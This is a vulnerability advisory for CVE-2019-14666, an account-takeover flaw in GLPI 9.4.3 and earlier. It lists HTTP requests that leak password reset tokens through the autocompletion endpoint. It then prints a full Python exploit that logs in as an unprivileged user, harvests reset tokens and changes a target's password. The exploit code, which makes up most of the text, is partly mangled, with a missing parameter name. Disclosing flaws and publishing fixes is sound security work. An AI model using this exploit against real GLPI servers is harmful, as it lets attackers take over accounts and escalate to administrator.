GLPI Vulnerability – Account takeover (CVE-2019-14666)
Software: GLPI
Version: <= 9.4.3
Discovered by: Pablo Martinez (@Xassiz)
Fix: version 9.4.4
GLPI Vulnerability: Account takeover vulnerability (CVE-2019-14666)
GLPI Vulnerability Description
We’ve found that it’s possible to abuse autocompletion feature to retrieve sensitive data from any user, using an unprivileged account.
Besides hashed session cookies or api keys in cleartext, a malicious user can retrieve the password_forget_token atributte which leads to account takeover when “Lost password” feature is enabled.
The steps are the following:
1. Choose a known email or get a list of them using autocompletion
GET /glpi/ajax/autocompletion.php?=UserEmail&field=email&term=
2. Get a list of all generated tokens
GET /glpi/ajax/autocompletion.php?=User&field=password_forget_token&term=
3. Invoke “Lost password” with target email
4. Get a list of all generated tokens again and compute the difference to get your freshly generated token
5. Set new password using /glpi/front/lostpassword.php?password_forget_token=[token]
To sum up: an unprivileged user could steal any account or escalate privileges by changing super-admin password. It’s also possible to steal admins’ api keys and use them with malicious purposes.
GLPI Exploit for CVE-2019-14666
PoC:
#!/usr/bin/python # # Description: Exploit for CVE-2019-14666 (GLPI <=9.4.3 account takeover) # Author: @xassiz (Tarlogic) # import re import sys import json import argparse import requests class GlpiBrowser: def __init__(self, url, user, password): self.url = url self.user = user self.password = password self.session = requests.Session() self.session.verify = False requests.packages.urllib3.disable_warnings() def extract_csrf(self, html): return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0] def get_login_data(self): r = self.session.get('{0}'.format(self.url), allow_redirects=True) csrf_token = self.extract_csrf(r.text) name_field = re.findall('name="(.*)" id="login_name"', r.text)[0] pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0] return name_field, pass_field, csrf_token def login(self): try: name_field, pass_field, csrf_token = self.get_login_data() except Exception as e: print "[-] Login error: could not retrieve form data" sys.exit(1) data = { name_field: self.user, pass_field: self.password, "auth": "local", "submit": "Post", "_glpi_csrf_token": csrf_token } r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False) return r.status_code == 302 def get_data(self, , field, term=None): params = { "": , "field": field, "term": term if term else "" } r = self.session.get('{}/ajax/autocompletion.php'.format(self.url), params=params) if r.status_code == 200: try: data = json.loads(r.text) except: return None return data return None def get_forget_token(self): return self.get_data('User', 'password_forget_token') def get_emails(self): return self.get_data('UserEmail', 'email') def lost_password_request(self, email): r = self.session.get('{0}/front/lostpassword.php'.format(self.url)) try: csrf_token = self.extract_csrf(r.text) except Exception as e: print "[-] Lost password error: could not retrieve form data" sys.exit(1) data = { "email": email, "update": "Save", "_glpi_csrf_token": csrf_token } r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data) return 'An email has been sent' in r.text def change_password(self, email, password, token): r = self.session.get('{0}/front/lostpassword.php'.format(self.url), params={'password_forget_token': token}) try: csrf_token = self.extract_csrf(r.text) except Exception as e: print "[-] Change password error: could not retrieve form data" sys.exit(1) data = { "email": email, "password": password, "password2": password, "password_forget_token": token, "update": "Save", "_glpi_csrf_token": csrf_token } r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data) return 'Reset password successful' in r.text def pwn(self, email, password): if not self.login(): print "[-] Login error" return tokens = self.get_forget_token() if tokens is None: tokens = [] if email: if not self.lost_password_request(email): print "[-] Lost password error: could not request" return new_tokens = self.get_forget_token() res = list(set(new_tokens) - set(tokens)) if res: for token in res: if self.change_password(email, password, token): print "[+] Password changed! ;)" return if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("--url", help="Target URL", required=True) parser.add_argument("--user", help="Username", required=True) parser.add_argument("--password", help="Password", required=True) parser.add_argument("--email", help="Target email") parser.add_argument("--newpass", help="New password") args = parser.parse_args() g = GlpiBrowser(args.url, user=args.user, password=args.password) g.pwn(args.email, args.newpass)
Discover our work and cybersecurity services.